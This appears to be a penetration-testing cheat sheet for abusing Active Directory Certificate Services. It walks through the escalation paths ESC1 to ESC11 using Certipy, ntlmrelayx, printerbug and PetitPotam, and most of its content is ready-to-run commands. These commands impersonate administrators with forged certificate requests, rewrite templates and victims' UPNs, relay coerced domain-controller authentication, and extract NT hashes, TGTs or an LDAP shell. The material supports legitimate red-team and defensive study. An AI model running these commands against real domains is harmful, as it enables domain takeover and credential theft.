AD Certificate Services (ADCS)
Enumeration
Start with Certipy's vulnerable scan to quickly identify exploitable templates: it checks all known ESC conditions in one pass.
# Find vulnerable templates
certipy find -u user@domain.local -p pass -dc-ip <ip> -vulnerable -stdout
# Full enumeration to JSON
certipy find -u user@domain.local -p pass -dc-ip <ip>ESC1: Enrollee Supplies Subject
Conditions:
- Low-priv user can enrol
- No Manager Approval
- No Authorised Signatures
- Client Authentication EKU enabled
- Template allows user to specify SAN (subjectAltName)
The SAN field isn't validated, so you can request a cert claiming to be any domain user including Administrator.
# Request cert as any user
certipy req -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -template <template> -upn administrator@domain.local
# Authenticate with cert → get NT hash
certipy auth -pfx administrator.pfx -dc-ip <ip>ESC2: Any Purpose EKU
Conditions:
- Low-priv user can enrol
- No Manager Approval
- No Authorised Signatures
- Template has
Any PurposeEKU or no EKU at all
With Any Purpose EKU the cert can be used for client auth, making it usable to request further certificates on behalf of other users.
# Request cert then use as smart card logon or client auth
certipy req -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -template <template>
# Use cert to request another cert on behalf of another user
certipy req -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -template User -on-behalf-of domain\\administrator \
-pfx user.pfxESC3: Enrolment Agent
Conditions:
- Template has
Certificate Request AgentEKU - Another template allows enrolment agent to enrol on behalf of others
Two-step: get an enrolment agent cert first, then use it to request a cert impersonating an admin on a second template.
# Step 1: Get enrolment agent cert
certipy req -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -template <enrolment-agent-template>
# Step 2: Request cert on behalf of admin
certipy req -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -template <template-allowing-agent> \
-on-behalf-of domain\\administrator -pfx agent.pfx
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip <ip>ESC4: Writable Template
Conditions:
- You have write rights on a certificate template:
- Owner
- Write Owner
- Write DACL
- Write Property
Overwrite the template's attributes to introduce ESC1 conditions, exploit it, then restore the original config.
# Overwrite template to be ESC1-vulnerable
certipy template -u user@domain.local -p pass \
-template <template> -save-old
# Then exploit as ESC1
certipy req -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -template <template> -upn administrator@domain.local
# Restore original template after
certipy template -u user@domain.local -p pass \
-template <template> -configuration <old-config>ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2
Conditions:
- CA has
EDITF_ATTRIBUTESUBJECTALTNAME2flag set - Any template with Client Authentication EKU is exploitable
This flag on the CA makes every Client Authentication template behave like ESC1: request any template with client auth EKU and supply an arbitrary SAN.
# Works like ESC1: request any template with client auth
certipy req -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -template User -upn administrator@domain.localESC7: Vulnerable CA ACL
Conditions:
- You have
ManageCAorManageCertificatesrights on the CA
ManageCA lets you enable the EDITF flag (turning it into ESC6), while ManageCertificates lets you approve pending failed requests.
# With ManageCA: enable EDITF_ATTRIBUTESUBJECTALTNAME2
certipy ca -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -enable-editf
# Then exploit as ESC6
# With ManageCertificates: approve failed requests
certipy ca -u user@domain.local -p pass -dc-ip <ip> \
-target <CA> -issue-request <request-id>ESC8: NTLM Relay to AD CS HTTP
Conditions:
- AD CS has HTTP enrolment endpoint enabled (certsrv)
- SMB signing disabled on target
Relay an incoming NTLM auth (coerced from the DC) to the certsrv endpoint to obtain a domain controller certificate, then use PKINIT for a DA hash.
# Start relay
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp \
-smb2support --adcs --template DomainController
# Coerce DC authentication
printerbug.py domain/user:pass@<dc> <attacker-ip>
PetitPotam.py <attacker-ip> <dc>
# Authenticate with obtained cert
certipy auth -pfx dc.pfx -dc-ip <ip>ESC9: No Security Extension
Conditions:
- Template has
CT_FLAG_NO_SECURITY_EXTENSIONflag - You have GenericWrite on an account
Without the security extension the cert isn't bound to a specific account SID, so temporarily changing a victim's UPN to match the admin gets you a valid admin cert.
# Change UPN of account to admin
certipy account update -u user@domain.local -p pass \
-user victim -upn administrator
# Request cert
certipy req -u victim@domain.local -p pass -dc-ip <ip> \
-target <CA> -template <vulnerable-template>
# Restore UPN
certipy account update -u user@domain.local -p pass \
-user victim -upn victim@domain.local
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip <ip> -domain domain.localESC10: Weak Certificate Mappings
Conditions:
- Registry key
StrongCertificateBindingEnforcement= 0 or 1 (not 2) - OR
CertificateMappingMethodshas UPN bit set
Similar to ESC9: weak mapping means the DC resolves cert → account by UPN rather than by SID, so a UPN swap is all you need.
# Similar to ESC9: change UPN then request cert
certipy account update -u user@domain.local -p pass \
-user victim -upn administrator@domain.local
certipy req -u victim@domain.local -p pass -dc-ip <ip> \
-target <CA> -template User
certipy auth -pfx administrator.pfx -dc-ip <ip> -ldap-shellESC11: IF_ENFORCEENCRYPTICERTREQUEST
Conditions:
- CA has
IF_ENFORCEENCRYPTICERTREQUESTnot set - Allows NTLM relay over RPC (not just HTTP)
Like ESC8 but over the RPC interface instead of HTTP: useful when certsrv isn't exposed.
ntlmrelayx.py -t rpc://<CA> -rpc-mode ICPR \
-icpr-ca-name "<CA-name>" --adcs --template DomainController
# Coerce auth then authenticate with cert
certipy auth -pfx dc.pfx -dc-ip <ip>Post-Exploitation with Certificates
Once you have a PFX, use PKINIT to get the NT hash or a TGT: or fall back to Schannel LDAP shell if PKINIT is unavailable (e.g. no smart card logon EKU).
# Get NT hash from cert (PKINIT)
certipy auth -pfx user.pfx -dc-ip <ip>
# Get TGT from cert
certipy auth -pfx user.pfx -dc-ip <ip> -no-hash
# LDAP shell (useful when PKINIT not available: Schannel)
certipy auth -pfx user.pfx -dc-ip <ip> -ldap-shell